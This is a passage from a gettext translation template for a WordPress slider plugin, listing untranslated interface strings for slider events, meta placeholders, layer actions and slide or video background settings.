"Current
          • Index" msgstr "" #: admin/views/modals-builder.php:475 admin/views/modals-builder.php:493 #: admin/views/modals-builder.php:496 msgid "Current Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:475 msgid "Prev. Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:477 msgid "Slider paused" msgstr "" #: admin/views/modals-builder.php:478 msgid "Timer Paused" msgstr "" #: admin/views/modals-builder.php:480 msgid "Slider is Playing after pause" msgstr "" #: admin/views/modals-builder.php:481 msgid "Timer Resumed" msgstr "" #: admin/views/modals-builder.php:483 msgid "Video is playing in slider" msgstr "" #: admin/views/modals-builder.php:484 msgid "Video is playing" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video API" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "youtube, vimeo, html5" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video Settings" msgstr "" #: admin/views/modals-builder.php:486 msgid "Video stopped in slider" msgstr "" #: admin/views/modals-builder.php:487 msgid "Video is stopped" msgstr "" #: admin/views/modals-builder.php:489 msgid "Slider reached the 'stop at' slide" msgstr "" #: admin/views/modals-builder.php:490 msgid "Slider Stopped" msgstr "" #: admin/views/modals-builder.php:492 msgid "Prepared for slide change" msgstr "" #: admin/views/modals-builder.php:493 msgid "Slider Before Swap" msgstr "" #: admin/views/modals-builder.php:493 msgid "Coming Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:495 msgid "Finnished with slide change" msgstr "" #: admin/views/modals-builder.php:496 msgid "Slider After Swap" msgstr "" #: admin/views/modals-builder.php:496 msgid "Previous Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:498 msgid "Last slide starts" msgstr "" #: admin/views/modals-builder.php:499 msgid "Last Slide Started, Slider is at the end" msgstr "" #: admin/views/modals-builder.php:501 msgid "Layer Events" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer Action (enterstage, enteredstage, leavestage,leftstage)" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer Type (image,video,html)" msgstr "" #: admin/views/modals-builder.php:502 msgid "Default Settings for Layer" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer as jQuery Object" msgstr "" #: admin/views/modals-builder.php:520 msgid "Meta Datas" msgstr "" #: admin/views/modals-builder.php:522 msgid "Basic" msgstr "" #: admin/views/modals-builder.php:526 admin/views/modals-builder.php:630 msgid "Social" msgstr "" #: admin/views/modals-builder.php:535 msgid "Basic Metas" msgstr "" #: admin/views/modals-builder.php:536 msgid "Link to current page" msgstr "" #: admin/views/modals-builder.php:536 msgid "http://yoursite.com/page" msgstr "" #: admin/views/modals-builder.php:537 msgid "Link to WP Home Page" msgstr "" #: admin/views/modals-builder.php:537 msgid "http://yoursite.com/home" msgstr "" #: admin/views/modals-builder.php:544 msgid "Post Basics" msgstr "" #: admin/views/modals-builder.php:546 msgid "Any custom meta tag" msgstr "" #: admin/views/modals-builder.php:546 msgid "Custom Meta" msgstr "" #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 msgid "Post Title" msgstr "" #: admin/views/modals-builder.php:548 msgid "Post Excerpt" msgstr "" #: admin/views/modals-builder.php:548 admin/views/modals-builder.php:677 msgid "" "Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy." msgstr "" #: admin/views/modals-builder.php:549 msgid "Post Alias" msgstr "" #: admin/views/modals-builder.php:550 msgid "Post Content" msgstr "" #: admin/views/modals-builder.php:550 admin/views/modals-builder.php:551 #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:635 #: admin/views/modals-builder.php:636 admin/views/modals-builder.php:637 msgid "" "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." msgstr "" #: admin/views/modals-builder.php:551 admin/views/modals-builder.php:636 msgid "Post content limit by words" msgstr "" #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:637 msgid "Post content limit by chars" msgstr "" #: admin/views/modals-builder.php:557 msgid "Post Details" msgstr "" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "The link to the post" msgstr "" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "http://yoursite.com/post" msgstr "" #: admin/views/modals-builder.php:559 admin/views/modals-builder.php:639 #: admin/views/modals-builder.php:646 admin/views/modals-builder.php:653 msgid "Date created" msgstr "" #: admin/views/modals-builder.php:559 msgid "05.03.2018" msgstr "" #: admin/views/modals-builder.php:560 msgid "Date modified" msgstr "" #: admin/views/modals-builder.php:560 msgid "04.03.2018" msgstr "" #: admin/views/modals-builder.php:561 msgid "Author name" msgstr "" #: admin/views/modals-builder.php:561 admin/views/modals-builder.php:640 msgid "John Doe" msgstr "" #: admin/views/modals-builder.php:562 msgid "Author Avatar URL(size in px)" msgstr "" #: admin/views/modals-builder.php:562 msgid "http://yoursite/media/avatar.jpg" msgstr "" #: admin/views/modals-builder.php:563 msgid "Author Website" msgstr "" #: admin/views/modals-builder.php:563 msgid "http://yoursite/user/page" msgstr "" #: admin/views/modals-builder.php:564 msgid "Author Posts Page" msgstr "" #: admin/views/modals-builder.php:564 msgid "http://yoursite/user/post" msgstr "" #: admin/views/modals-builder.php:569 msgid "Post Categories, Tags and Comments" msgstr "" #: admin/views/modals-builder.php:570 msgid "Number of comments" msgstr "" #: admin/views/modals-builder.php:570 msgid "20" msgstr "" #: admin/views/modals-builder.php:571 msgid "List of categories with links" msgstr "" #: admin/views/modals-builder.php:571 admin/views/modals-builder.php:572 msgid "Category1, Category2, Category3" msgstr "" #: admin/views/modals-builder.php:572 msgid "List of categories without links" msgstr "" #: admin/views/modals-builder.php:573 msgid "List of tags with links" msgstr "" #: admin/views/modals-builder.php:573 msgid "Tag1, Tag2, Tag3" msgstr "" #: admin/views/modals-builder.php:580 msgid "WooCommerce Basics" msgstr "" #: admin/views/modals-builder.php:581 msgid "Categories" msgstr "" #: admin/views/modals-builder.php:581 msgid "WC Category1, WC Category2" msgstr "" #: admin/views/modals-builder.php:582 msgid "WC Tag 1, WC Tag 2, WC Tag 3" msgstr "" #: admin/views/modals-builder.php:583 msgid "Add to Cart URL" msgstr "" #: admin/views/modals-builder.php:583 msgid "http://yoursite.com/addtocart.php" msgstr "" #: admin/views/modals-builder.php:584 msgid "Add to Cart Button" msgstr "" #: admin/views/modals-builder.php:584 msgid "Add To Cart" msgstr "" #: admin/views/modals-builder.php:587 msgid "WooCommerce Prices" msgstr "" #: admin/views/modals-builder.php:588 msgid "Full Price" msgstr "" #: admin/views/modals-builder.php:588 admin/views/modals-builder.php:589 msgid "$9.99" msgstr "" #: admin/views/modals-builder.php:589 msgid "Single Price" msgstr "" #: admin/views/modals-builder.php:590 msgid "Single Price without currency" msgstr "" #: admin/views/modals-builder.php:590 msgid "9.99" msgstr "" #: admin/views/modals-builder.php:593 msgid "WooCommerce Stock" msgstr "" #: admin/views/modals-builder.php:594 msgid "457819" msgstr "" #: admin/views/modals-builder.php:595 msgid "In Stock" msgstr "" #: admin/views/modals-builder.php:595 msgid "5" msgstr "" #: admin/views/modals-builder.php:596 msgid "Package" msgstr "" #: admin/views/modals-builder.php:599 msgid "WooCommerce Ratings" msgstr "" #: admin/views/modals-builder.php:600 msgid "Number of Ratings" msgstr "" #: admin/views/modals-builder.php:600 msgid "47" msgstr "" #: admin/views/modals-builder.php:601 msgid "Number of Reviews" msgstr "" #: admin/views/modals-builder.php:601 msgid "13" msgstr "" #: admin/views/modals-builder.php:602 msgid "Text Rating" msgstr "" #: admin/views/modals-builder.php:602 msgid "9" msgstr "" #: admin/views/modals-builder.php:603 msgid "Star Rating" msgstr "" #: admin/views/modals-builder.php:603 msgid "38" msgstr "" #: admin/views/modals-builder.php:610 msgid "Event Basics" msgstr "" #: admin/views/modals-builder.php:611 msgid "Event start date" msgstr "" #: admin/views/modals-builder.php:611 msgid "14.09.2019" msgstr "" #: admin/views/modals-builder.php:612 msgid "Event end date" msgstr "" #: admin/views/modals-builder.php:612 msgid "17.09.2019" msgstr "" #: admin/views/modals-builder.php:613 msgid "Event start time" msgstr "" #: admin/views/modals-builder.php:613 msgid "21:00" msgstr "" #: admin/views/modals-builder.php:614 msgid "Event end time" msgstr "" #: admin/views/modals-builder.php:614 msgid "14:00" msgstr "" #: admin/views/modals-builder.php:615 msgid "Event ID" msgstr "" #: admin/views/modals-builder.php:615 msgid "EQH-1879" msgstr "" #: admin/views/modals-builder.php:618 msgid "Event Location" msgstr "" #: admin/views/modals-builder.php:619 msgid "Event location name" msgstr "" #: admin/views/modals-builder.php:619 msgid "Music Hall" msgstr "" #: admin/views/modals-builder.php:620 msgid "Event location slug" msgstr "" #: admin/views/modals-builder.php:620 msgid "Concert" msgstr "" #: admin/views/modals-builder.php:621 msgid "Event location address" msgstr "" #: admin/views/modals-builder.php:621 msgid "East 32th Street between Park & Lexington Avn " msgstr "" #: admin/views/modals-builder.php:622 msgid "Event location town" msgstr "" #: admin/views/modals-builder.php:622 msgid "Los Angeles" msgstr "" #: admin/views/modals-builder.php:623 msgid "Event location state" msgstr "" #: admin/views/modals-builder.php:623 msgid "US" msgstr "" #: admin/views/modals-builder.php:624 msgid "Event location postcode" msgstr "" #: admin/views/modals-builder.php:624 msgid "EX 87 TNT" msgstr "" #: admin/views/modals-builder.php:625 msgid "Event location region" msgstr "" #: admin/views/modals-builder.php:625 msgid "Orange Country" msgstr "" #: admin/views/modals-builder.php:626 msgid "Event location country" msgstr "" #: admin/views/modals-builder.php:626 msgid "USA" msgstr "" #: admin/views/modals-builder.php:633 msgid "Social Basics (Flickr, Instagram, Twitter, Facebook, YouTube)" msgstr "" #: admin/views/modals-builder.php:635 msgid "Post content" msgstr "" #: admin/views/modals-builder.php:639 admin/views/modals-builder.php:646 #: admin/views/modals-builder.php:653 admin/views/modals-builder.php:661 #: admin/views/modals-builder.php:669 admin/views/modals-builder.php:678 #: admin/views/modals-builder.php:684 msgid "08.03.2018" msgstr "" #: admin/views/modals-builder.php:640 msgid "Username" msgstr "" #: admin/views/modals-builder.php:645 msgid "Flickr Extras" msgstr "" #: admin/views/modals-builder.php:647 msgid "Views" msgstr "" #: admin/views/modals-builder.php:647 msgid "24" msgstr "" #: admin/views/modals-builder.php:652 msgid "Instagramm Extras" msgstr "" #: admin/views/modals-builder.php:654 admin/views/modals-builder.php:671 #: admin/views/modals-builder.php:685 msgid "Number of Likes" msgstr "" #: admin/views/modals-builder.php:654 msgid "12" msgstr "" #: admin/views/modals-builder.php:655 admin/views/modals-builder.php:687 msgid "Number of Comments" msgstr "" #: admin/views/modals-builder.php:655 msgid "19" msgstr "" #: admin/views/modals-builder.php:660 msgid "Twitter Extras" msgstr "" #: admin/views/modals-builder.php:661 admin/views/modals-builder.php:669 #: admin/views/modals-builder.php:678 admin/views/modals-builder.php:684 msgid "Date Published" msgstr "" #: admin/views/modals-builder.php:662 msgid "Retweet Count" msgstr "" #: admin/views/modals-builder.php:662 msgid "19824" msgstr "" #: admin/views/modals-builder.php:663 msgid "Favorite Count" msgstr "" #: admin/views/modals-builder.php:663 msgid "1249" msgstr "" #: admin/views/modals-builder.php:668 msgid "Facebook Extras" msgstr "" #: admin/views/modals-builder.php:670 msgid "Date Modified" msgstr "" #: admin/views/modals-builder.php:670 msgid "18.08.2018" msgstr "" #: admin/views/modals-builder.php:671 msgid "212" msgstr "" #: admin/views/modals-builder.php:676 msgid "YouTube Extras" msgstr "" #: admin/views/modals-builder.php:677 msgid "Excerpt" msgstr "" #: admin/views/modals-builder.php:683 msgid "Vimeo Extras" msgstr "" #: admin/views/modals-builder.php:685 msgid "321" msgstr "" #: admin/views/modals-builder.php:686 msgid "Number of Views" msgstr "" #: admin/views/modals-builder.php:686 msgid "1786" msgstr "" #: admin/views/modals-builder.php:687 msgid "124" msgstr "" #: admin/views/modals-builder.php:703 admin/views/builder-layer-forms.php:1074 #: admin/views/builder-layer-forms.php:1078 msgid "Actions" msgstr "" #: admin/views/modals-builder.php:716 msgid "Trigger Memory" msgstr "" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Reset before each Loop" msgstr "" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Keep Last State" msgstr "" #: admin/views/modals-builder.php:728 msgid "No Action Selected" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Click" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Enter" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Leave" msgstr "" #: admin/views/modals-builder.php:737 msgid "Interaction" msgstr "" #: admin/views/modals-builder.php:743 msgid "Action Type" msgstr "" #: admin/views/modals-builder.php:748 msgid "Link URL" msgstr "" #: admin/views/modals-builder.php:748 msgid "Enter Link" msgstr "" #: admin/views/modals-builder.php:749 msgid "Link Target" msgstr "" #: admin/views/modals-builder.php:749 msgid "Same Window" msgstr "" #: admin/views/modals-builder.php:749 msgid "New Window" msgstr "" #: admin/views/modals-builder.php:750 msgid "Link Type" msgstr "" #: admin/views/modals-builder.php:751 msgid "Follow" msgstr "" #: admin/views/modals-builder.php:751 msgid "Follow Link" msgstr "" #: admin/views/modals-builder.php:751 msgid "No Follow" msgstr "" #: admin/views/modals-builder.php:756 msgid "Open Modal" msgstr "" #: admin/views/modals-builder.php:757 msgid "Open Slide" msgstr "" #: admin/views/modals-builder.php:762 msgid "Function" msgstr "" #: admin/views/modals-builder.php:762 msgid "javaScript Function" msgstr "" #: admin/views/modals-builder.php:768 msgid "Scroll to ID" msgstr "" #: admin/views/modals-builder.php:768 msgid "ID of Element" msgstr "" #: admin/views/modals-builder.php:774 msgid "Scroll Offset" msgstr "" #: admin/views/modals-builder.php:774 msgid "Offset to Scroll Position" msgstr "" #: admin/views/modals-builder.php:775 msgid "Animation Ease" msgstr "" #: admin/views/modals-builder.php:776 msgid "Animation Duration" msgstr "" #: admin/views/modals-builder.php:776 msgid "Animation Duration in ms" msgstr "" #: admin/views/modals-builder.php:788 msgid "Target Layer" msgstr "" #: admin/views/modals-builder.php:794 msgid "Toggle Start State" msgstr "" #: admin/views/modals-builder.php:794 msgid "Toggled (Visible)" msgstr "" #: admin/views/modals-builder.php:794 msgid "Untoggled (Hidden)" msgstr "" #: admin/views/modals-builder.php:799 admin/views/modals-builder.php:804 #: admin/views/modals-builder.php:811 msgid "Frame wait's on Action" msgstr "" #: admin/views/modals-builder.php:809 msgid "GoTo Frame" msgstr "" #: admin/views/modals-builder.php:817 msgid "Frame N" msgstr "" #: admin/views/modals-builder.php:818 msgid "Frame M" msgstr "" #: admin/views/modals-builder.php:820 msgid "\"N\" wait's on Action" msgstr "" #: admin/views/modals-builder.php:821 msgid "\"M\" wait's on Action" msgstr "" #: admin/views/modals-builder.php:827 msgid "Reset Children Timelines" msgstr "" #: admin/views/modals-builder.php:832 msgid "After Action" msgstr "" #: admin/views/modals-builder.php:838 msgid "Class to Toggle" msgstr "" #: admin/views/modals-builder.php:838 msgid "class Name to Toggle" msgstr "" #: admin/views/modals-builder.php:845 msgid "Action Delay" msgstr "" #: admin/views/builder-slide-forms.php:19 #: admin/views/builder-slide-forms.php:39 #: admin/views/builder-layer-forms.php:505 #: admin/views/builder-layer-forms.php:562 #: admin/views/builder-layer-forms.php:1560 msgid "Background" msgstr "" #: admin/views/builder-slide-forms.php:24 msgid "Pub. Rules" msgstr "" #: admin/views/builder-slide-forms.php:25 msgid "Tags & Link" msgstr "" #: admin/views/builder-slide-forms.php:26 msgid "Static Layer" msgstr "" #: admin/views/builder-slide-forms.php:27 msgid "Ken Burns" msgstr "" #: admin/views/builder-slide-forms.php:28 msgid "Params" msgstr "" #: admin/views/builder-slide-forms.php:29 msgid "Loop Layers" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "External Image" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "Transparent" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "Colored" msgstr "" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:200 msgid "YouTube Video" msgstr "" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:201 msgid "Vimeo Video" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "HML5 Video" msgstr "" #: admin/views/builder-slide-forms.php:57 msgid "Refresh Source" msgstr "" #: admin/views/builder-slide-forms.php:59 msgid "Background Color" msgstr "" #: admin/views/builder-slide-forms.php:61 msgid "YouTube ID" msgstr "" #: admin/views/builder-slide-forms.php:61 msgid "Enter YouTube ID" msgstr "" #: admin/views/builder-slide-forms.php:63 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-layer-forms.php:255 #: admin/views/builder-layer-forms.php:259 #: admin/views/builder-layer-forms.php:262 msgid "Poster Image" msgstr "" #: admin/views/builder-slide-forms.php:63 msgid "YouTube Poster" msgstr "" #: admin/views/builder-slide-forms.php:66 #: admin/views/builder-slide-forms.php:73 #: admin/views/builder-slide-forms.php:84 #: admin/views/builder-layer-forms.php:571 msgid "Remove" msgstr "" #: admin/views/builder-slide-forms.php:69 msgid "Vimeo ID" msgstr "" #: admin/views/builder-slide-forms.php:69 msgid "Enter Vimeo ID" msgstr "" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "MPEG" msgstr "" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "Enter MPEG Source" msgstr "" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "WEBM" msgstr "" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "Optional WEBM Source" msgstr "" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "OGV" msgstr "" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "Optional OGV Source" msgstr "" #: admin/views/builder-slide-forms.php:91 msgid "Video from Stream if exists" msgstr "" #: admin/views/builder-slide-forms.php:98 msgid "Settings" msgstr "" #: admin/views/builder-slide-forms.php:104 msgid "Source Size" msgstr "" #: admin/views/builder-slide-forms.php:115 msgid "BG Fit" msgstr "" #: admin/views/builder-slide-forms.php:130 #: admin/views/builder-slide-forms.php:669 msgid "Repeat" msgstr "" #: admin/views/builder-slide-forms.php:138 msgid "(x%, y%)" msgstr "" #: admin/views/builder-slide-forms.php:157 msgid "X% Y%" msgstr "" #: admin/views/builder-slide-forms.php:172 msgid "\"Alt\" Attr." msgstr "" #: admin/views/builder-slide-forms.php:174 #: admin/views/builder-slide-forms.php:186 msgid "Filename" msgstr "" #: admin/views/builder-slide-forms.php:179 msgid "Custom \"Alt\"" msgstr "" #: admin/views/builder-slide-forms.php:184 msgid "\"Title\" Attr." msgstr "" #: admin/views/builder-slide-forms.php:192 msgid "Custom \"Title\"" msgstr "" #: admin/views/builder-slide-forms.php:196 msgid "Width Attrib." msgstr "" #: admin/views/builder-slide-forms.php:197 msgid "Height Attrib." msgstr "" #: admin/views/builder-slide-forms.php:204 #: admin/views/builder-layer-forms.php:234 msgid "Aspect Ratio" msgstr "" #: admin/views/builder-slide-forms.php:208 msgid "Loop Mode" msgstr "" #: admin/views/builder-slide-forms.php:209 msgid "Disable" msgstr "" #: admin/views/builder-slide-forms.php:210 msgid "Slider Timer paused" msgstr "" #: admin/views/builder-slide-forms.php:211 msgid "Slider Timer keep going" msgstr "" #: admin/views/builder-slide-forms.php:214 msgid "Force Cover Mode" msgstr "" #: admin/views/builder-slide-forms.php:215 #: admin/views/builder-layer-forms.php:278 msgid "Next Slide at End" msgstr "" #: admin/views/builder-slide-forms.php:216 #: admin/views/builder-layer-forms.php:279 msgid "Rewind at Start" msgstr "" #: admin/views/builder-slide-forms.php:217 #: admin/views/builder-layer-forms.php:286 msgid "Mute at Start" msgstr "" #: admin/views/builder-slide-forms.php:229 #: admin/views/builder-slide-forms.php:230 #: admin/views/builder-layer-forms.php:306 #: admin/views/builder-layer-forms.php:308 msgid "Arguments" msgstr "" #: admin/views/builder-slide-forms.php:245 #: admin/views/builder-layer-forms.php:801 msgid "On Scroll Details" msgstr "" #: admin/views/builder-slide-forms.php:249 #: admin/views/builder-layer-forms.php:805 msgid "On Scroll can be Added per Slider in the General Options" msgstr "" #: admin/views/builder-slide-forms.php:257 msgid "Parallax & 3D Settings" msgstr "" #: admin/views/builder-slide-forms.php:264 msgid "Global Value ! Option to find under Slider Settings - Parallax Tab" msgstr "" #: admin/views/builder-slide-forms.php:268 msgid "Parallax Level" msgstr "" #: admin/views/builder-slide-forms.php:293 msgid "Scroll Effects" msgstr "" #: admin/views/builder-slide-forms.php:297 #: admin/views/builder-slide-forms.php:302 #: admin/views/builder-slide-forms.php:307 #: admin/views/builder-layer-forms.php:848 #: admin/views/builder-layer-forms.php:861 msgid "Enabled - Scroll Based" msgstr "" #: admin/views/builder-slide-forms.php:298 #: admin/views/builder-slide-forms.php:303 #: admin/views/builder-slide-forms.php:308 #: admin/views/builder-layer-forms.php:849 msgid "Disabled - Time Based" msgstr "" #: admin/views/builder-slide-forms.php:327 msgid "BG Filter" msgstr "" #: admin/views/builder-slide-forms.php:387 msgid "Slide Animation" msgstr "" #: admin/views/builder-slide-forms.php:391 msgid "Active Transition Order" msgstr "" #: admin/views/builder-slide-forms.php:393 msgid "Add Transition" msgstr "" #: admin/views/builder-slide-forms.php:400 msgid "Fade Settings" msgstr "" #: admin/views/builder-slide-forms.php:419 msgid "Ken Burns / Pan Zoom" msgstr "" #: admin/views/builder-slide-forms.php:423 msgid "Pan Zoom Settings" msgstr "" #: admin/views/builder-slide-forms.php:483 msgid "Overflow" msgstr "" #: admin/views/builder-slide-forms.php:484 msgid "Visible" msgstr "" #: admin/views/builder-slide-forms.php:485 msgid "Hidden" msgstr "" #: admin/views/builder-slide-forms.php:488 msgid "Z Position" msgstr "" #: admin/views/builder-slide-forms.php:489 msgid "Front" msgstr "" #: admin/views/builder-slide-forms.php:493 msgid "Show Last Edited Slide" msgstr "" #: admin/views/builder-slide-forms.php:506 msgid "Slide HTML Tags" msgstr "" #: admin/views/builder-slide-forms.php:511 msgid "ID" msgstr "" #: admin/views/builder-slide-forms.php:512 msgid "HTML Data" msgstr "" #: admin/views/builder-slide-forms.php:519 msgid "Link & Seo" msgstr "" #: admin/views/builder-slide-forms.php:524 msgid "Slide Link" msgstr "" #: admin/views/builder-slide-forms.php:527 msgid "Regular" msgstr "" #: admin/views/builder-slide-forms.php:528 msgid "To Slide" msgstr "" #: admin/views/builder-slide-forms.php:531 msgid "URL" msgstr "" #: admin/views/builder-slide-forms.php:532 msgid "Target" msgstr "" #: admin/views/builder-slide-forms.php:533 msgid "_self" msgstr "" #: admin/views/builder-slide-forms.php:534 msgid "_blank" msgstr "" #: admin/views/builder-slide-forms.php:535 msgid "_top" msgstr "" #: admin/views/builder-slide-forms.php:536 msgid "_parent" msgstr "" #: admin/views/builder-slide-forms.php:540 msgid "Link to Slide" msgstr "" #: admin/views/builder-slide-forms.php:542 msgid "Sensibility" msgstr "" #: admin/views/builder-slide-forms.php:543 msgid "Over Layers (Front)" msgstr "" #: admin/views/builder-slide-forms.php:544 msgid "Behind Layers (Back)" msgstr "" #: admin/views/builder-slide-forms.php:563 msgid "Slide Length" msgstr "" #: admin/views/builder-slide-forms.php:566 msgid "Stop Slider Progress" msgstr "" #: admin/views/builder-slide-forms.php:577 msgid "Visible in Navigation" msgstr "" #: admin/views/builder-slide-forms.php:578 msgid "Hidden in Navigation" msgstr "" #: admin/views/builder-slide-forms.php:595 msgid "Publish" msgstr "" #: admin/views/builder-slide-forms.php:599 msgid "Published" msgstr "" #: admin/views/builder-slide-forms.php:600 msgid "Unpublished" msgstr "" #: admin/views/builder-slide-forms.php:617 msgid "Wordpress Multi Language" msgstr "" #: admin/views/builder-slide-forms.php:623 msgid "Slide Lang." msgstr "" #: admin/views/builder-slide-forms.php:639 msgid "Parameters" msgstr "" #: admin/views/builder-slide-forms.php:653 msgid "Description" msgstr "" #: admin/views/builder-slide-forms.php:665 msgid "Loop All Layer Timeline" msgstr "" #: admin/views/builder-slide-forms.php:667 msgid "Use Slide Loop" msgstr "" #: admin/views/builder-slide-forms.php:670 msgid "Start" msgstr "" #: admin/views/builder-slide-forms.php:671 msgid "End" msgstr "" #: admin/views/builder-slide-forms.php:687 msgid "Module Admin Thumbnail" msgstr "" #: admin/views/builder-slide-forms.php:692 msgid "Admin Thumb" msgstr "" #: admin/views/builder-slide-forms.php:701 msgid "Navig. Thumb" msgstr "" #: admin/views/builder-slide-forms.php:707 msgid "Dimension" msgstr "" #: admin/views/builder-slide-forms.php:708 msgid "From Slider Settings" msgstr "" #: admin/views/builder-layer-forms.php:23 msgid "Editor View" msgstr "" #: admin/views/builder-layer-forms.php:23 #: admin/views/builder-layer-forms.php:24 #: admin/views/builder-layer-forms.php:25 msgid "Layer options" msgstr "" #: admin/views/builder-layer-forms.php:24 msgid "Hover View" msgstr "" #: admin/views/builder-layer-forms.php:25 msgid "Animation View" msgstr "" #: admin/views/builder-layer-forms.php:30 msgid "Size & Pos" msgstr "" #: admin/views/builder-layer-forms.php:31 msgid "Adv. Style" msgstr "" #: admin/views/builder-layer-forms.php:33 msgid "Loop Layer" msgstr "" #: admin/views/builder-layer-forms.php:34 #: admin/views/builder-layer-forms.php:920 #: admin/views/builder-layer-forms.php:924 msgid "Hover" msgstr "" #: admin/views/builder-layer-forms.php:38 #: admin/views/builder-layer-forms.php:873 #: admin/views/builder-layer-forms.php:876 msgid "Attributes" msgstr "" #: admin/views/builder-layer-forms.php:39 msgid "Custom CSS" msgstr "" #: admin/views/builder-layer-forms.php:40 msgid "Static" msgstr "" #: admin/views/builder-layer-forms.php:57 msgid "Row Settings" msgstr "" #: admin/views/builder-layer-forms.php:74 msgid "Columns" msgstr "" #: admin/views/builder-layer-forms.php:75 msgid "Update Row" msgstr "" #: admin/views/builder-layer-forms.php:79 msgid "Break At" msgstr "" #: admin/views/builder-layer-forms.php:86 msgid "Row Position" msgstr "" #: admin/views/builder-layer-forms.php:98 msgid "Column Settings" msgstr "" #: admin/views/builder-layer-forms.php:101 msgid "Vertical Align" msgstr "" #: admin/views/builder-layer-forms.php:116 msgid "Text/Button Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:121 msgid "Idle" msgstr "" #: admin/views/builder-layer-forms.php:122 msgid "Toggle" msgstr "" #: admin/views/builder-layer-forms.php:128 msgid "Meta" msgstr "" #: admin/views/builder-layer-forms.php:136 msgid "Use Toggle" msgstr "" #: admin/views/builder-layer-forms.php:137 msgid "Toggled in Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:138 msgid "Inverse Toggled Content" msgstr "" #: admin/views/builder-layer-forms.php:142 msgid "Placeholder" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Line Break" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Only Manual <br/>" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Width Based" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Content Based" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Content and Width Based" msgstr "" #: admin/views/builder-layer-forms.php:151 msgid "Text Align" msgstr "" #: admin/views/builder-layer-forms.php:166 msgid "Image Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:168 msgid "Image from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:179 #: admin/views/builder-layer-forms.php:181 msgid "Default Setting" msgstr "" #: admin/views/builder-layer-forms.php:179 msgid "Force Lazy Loading" msgstr "" #: admin/views/builder-layer-forms.php:179 msgid "Ignore Lazy Loading" msgstr "" #: admin/views/builder-layer-forms.php:180 msgid "Source Type" msgstr "" #: admin/views/builder-layer-forms.php:192 msgid "Media Content" msgstr "" #: admin/views/builder-layer-forms.php:196 msgid "Video from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:202 msgid "HTML5 Video" msgstr "" #: admin/views/builder-layer-forms.php:208 msgid "Video ID" msgstr "" #: admin/views/builder-layer-forms.php:209 msgid "Enter Video ID" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "Preload" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "auto" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "Meta Data" msgstr "" #: admin/views/builder-layer-forms.php:230 msgid "Skip Preload" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "16:9" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "4:3" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "1.85:1" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "2.39:1" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "Auto Play" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "Only 1st Time Slide shown" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "On - Skip 1st Time Slide" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "No Loop" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Pause Slide" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Do Not Pause Slide" msgstr "" #: admin/views/builder-layer-forms.php:250 msgid "Media Poster" msgstr "" #: admin/views/builder-layer-forms.php:252 msgid "Poster from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:255 msgid "YouTube Thumb" msgstr "" #: admin/views/builder-layer-forms.php:259 msgid "Vimeo Thumb" msgstr "" #: admin/views/builder-layer-forms.php:264 